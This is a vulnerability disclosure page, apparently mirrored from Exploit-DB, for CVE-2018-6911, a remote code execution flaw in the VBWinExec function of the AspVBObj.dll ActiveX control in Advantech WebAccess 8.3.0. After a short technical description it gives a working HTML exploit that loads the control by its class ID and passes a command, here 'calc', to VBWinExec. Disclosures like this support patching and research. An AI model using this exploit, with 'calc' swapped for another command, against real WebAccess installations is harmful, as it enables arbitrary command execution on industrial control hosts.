Advantech WebAccess 8.3.0 – Remote Code Execution

  • 作者： Nassim Asrir
    日期： 2018-02-13
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/44031/
  • Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution

Discovered by: Nassim Asrir 

Contact: wassline@gmail.com / https://www.linkedin.com/in/nassim-asrir-b73a57122/

CVE: CVE-2018-6911

Tested on: IE11 / Win10


Technical Details:
==================

The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.

Vulnerable File: C:\WebAccess\Node\AspVBObj.dll

Vulnerable Function: VBWinExec

Vulnerable Class: Include

Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.

Function VBWinExec (
 	ByRef commandAs String 
)

Exploit:
========

<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<BODY>
 <object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>
 
<SCRIPT>
 
function exploit()
 {
 
 rce.VBWinExec("calc")
	
 
 }
 
</SCRIPT>
<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>
</body>
</HTML>